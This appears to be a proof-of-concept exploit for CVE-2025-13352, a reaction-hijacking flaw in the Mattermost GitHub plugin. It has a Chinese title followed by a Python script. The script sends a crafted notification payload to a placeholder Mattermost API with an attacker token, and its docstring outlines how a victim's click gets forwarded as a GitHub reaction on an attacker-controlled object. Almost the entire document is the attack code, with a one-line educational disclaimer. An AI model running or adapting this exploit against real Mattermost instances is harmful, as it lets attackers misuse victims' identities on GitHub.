CVE-2025-13352 Mattermost GitHub插件反应劫持漏洞

# CVE-2025-13352 PoC - Mattermost GitHub Plugin Reaction Hijacking # This PoC demonstrates the reaction hijacking vulnerability import requests import json TARGET_URL = "https://vulnerable-mattermost-server.com" ATTACKER_TOKEN = "attacker_webhook_token" MALICIOUS_PAYLOAD = { "type": "github_notification", "action": "reaction", "target": { "owner": "attacker-controlled-org", "repo": "malicious-repo", "issue_number": 1 }, "reaction_type": "thumbsup" } def exploit_reaction_hijacking(): """ Exploit steps: 1. Send malicious notification to target user 2. User views notification and clicks reaction button 3. Plugin forwards reaction to GitHub without proper bot identity validation 4. User's reaction is applied to attacker-controlled GitHub object """ exploit_url = f"{TARGET_URL}/api/v4/posts" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } response = requests.post(exploit_url, headers=headers, json={ "channel_id": "target_user_channel", "message": "GitHub notification", "props": MALICIOUS_PAYLOAD }) return response.status_code == 200 # Note: This PoC is for educational purposes only # Actual exploitation requires authenticated access to Mattermost instance